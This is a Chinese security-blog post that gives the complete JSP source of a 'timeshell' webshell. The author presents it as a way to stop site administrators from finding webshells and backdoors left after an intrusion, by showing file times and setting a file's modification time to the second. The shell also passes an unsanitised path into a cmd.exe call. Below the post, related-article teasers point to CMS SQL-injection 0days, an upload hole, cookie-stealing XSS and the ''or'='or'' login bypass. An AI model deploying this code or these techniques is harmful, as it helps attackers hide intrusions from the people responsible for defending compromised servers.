JSP 修改文件时间的WEBSHELL

所属分类: 网络安全 / 漏洞分析 阅读数: 185
收藏 0 赞 0 分享
JSP 修改文件时间的WEBSHELL
很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门,因此修改文件的创建与修改时间可以有效的预防后门的泄露。
昨天研究了下,JSP只提供了修改“文件修改时间”的接口,却没有提供修改“文件创建时间”的接口,因此貌似只能修改“文件修改时间 ”,kj021320的JSP SHELL有这个功能,不过只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决定自己写个小的shell!
主要功能:
1.文件的时间属性查看,包括修改时间与创建时间;
2.文件修改时间的修改,精确到秒;
代码如下:
(Apache Tomcat/6.0.18下运行通过!)

复制代码
代码如下:

<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)

<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:

<%=filepath%>

lastModifiedtime:

<%=new Date(file.lastModified())%>

Createtime:

<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>

now:

<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />

<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");
else
out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");
}
%>
</body>
</html>
更多精彩内容其他人还在看

织梦管理系统后台查找

  有时在通过注射得到织梦程序的管理密码时,却发现找不到后台地址。。   这个时候 大家可以尝试下在地址后面加上:/include/dialog/select_media.php?f=form1.murl   但不一定通杀。。  
收藏 0 赞 0 分享

ckeditor/DesignCms上传漏洞

  今天日站发现的....   http://www.xxx.net/manage/Modle/UploadFile/ListFiles.aspx 上传洞洞   上传后没改文件名!可以IIS解析   后面的事,你懂的~   有点像FCK ...   我晕了...这程式漏洞真多  
收藏 0 赞 0 分享

DedeCmsV5.6 本地包含又一利用方式

  续本地包含   include/arc.datalist.class.php   $codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);   if(file_exists(DEDEINC.'/code/data
收藏 0 赞 0 分享

phpcms V9 BLind SQL 注入漏洞0day

  影响版本:phpcms v9 blind  phpcms v9 blind 参数过滤存在SQL注入漏洞。
收藏 0 赞 0 分享

AWBS 2.9.2 Blind SQL 注入0day

AWBS 2.9.2 Blind SQL 注入0day,大家可以参考下。
收藏 0 赞 0 分享

金山毒霸多个sql注入及XSS漏洞和修复

金山毒霸多个sql注入及XSS漏洞和修复,需要的朋友可以参考下。
收藏 0 赞 0 分享

Zblog最新跨站漏洞及利用代码

Js里可以写shell,添加用户,偷取COOKIE然后模拟出真正的转向
收藏 0 赞 0 分享

xyxcms v1.3 小游戏CMS 漏洞说明

国内最专业的ASP网站内容管理系统-小游戏管理系统,他将是您轻松建站的首选利器。挺好的一个系统,就是有点小问题,大家可以修改下。
收藏 0 赞 0 分享

Discuz X1.5 用不到 Gmail SSL SMTP

前天 16:50 上传 下载附件 (34.22 KB) ,窃听器哪里有卖 设置如上,车辆跟踪器,登入 username 及 password 都再三确认 但用「检测」就弹出以下错误 前天 16:50 上传 下载附件 (12.73 KB) 请问
收藏 0 赞 0 分享

万能密码漏洞以及修复

  万能密码漏洞以及修复   记得几年前要入侵一个企业网站超级简单   一般只需要找到后台 还有后台通常是www.xxx.com/admin/   然后账号 密码都是'or'='or' 就进去   现在好像有几个也可以用 但是已经没那么普及了   如果网站还出现这种“
收藏 0 赞 0 分享
查看更多